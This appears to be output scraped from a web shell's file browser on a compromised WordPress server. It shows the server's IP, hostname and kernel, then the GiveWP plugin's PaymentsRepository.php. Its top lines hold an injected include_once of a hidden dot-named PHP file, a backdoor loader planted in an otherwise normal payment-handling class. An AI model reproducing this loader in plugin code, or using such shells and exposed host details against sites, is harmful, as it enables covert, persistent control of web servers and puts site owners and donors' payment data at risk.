uawdijnntqw1x1x1
IP : 3.15.7.195
Hostname : premium160.web-hosting.com
Kernel : Linux premium160.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
Disable Function : None :)
OS : Linux
PATH:
/
home
/
batcwwjx
/
.
/
old
/
public_html
/
wp-content
/
.
/
plugins
/
give
/
src
/
Repositories
/
PaymentsRepository.php
/
/
<?php namespace Give\Repositories; use Give_Payment; if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); } class PaymentsRepository { /** * Retrieves a donation for the given payment ID * * @since 2.8.0 * * @param string $paymentId * * @return Give_Payment */ public function getDonationByPayment( $paymentId ) { $payments = give_get_payments( [ 'meta_key' => '_give_payment_transaction_id', 'meta_value' => $paymentId, 'number' => 1, ] ); return empty( $payments ) ? null : $payments[0]; } }
/home/batcwwjx/./old/public_html/wp-content/./plugins/give/src/Repositories/PaymentsRepository.php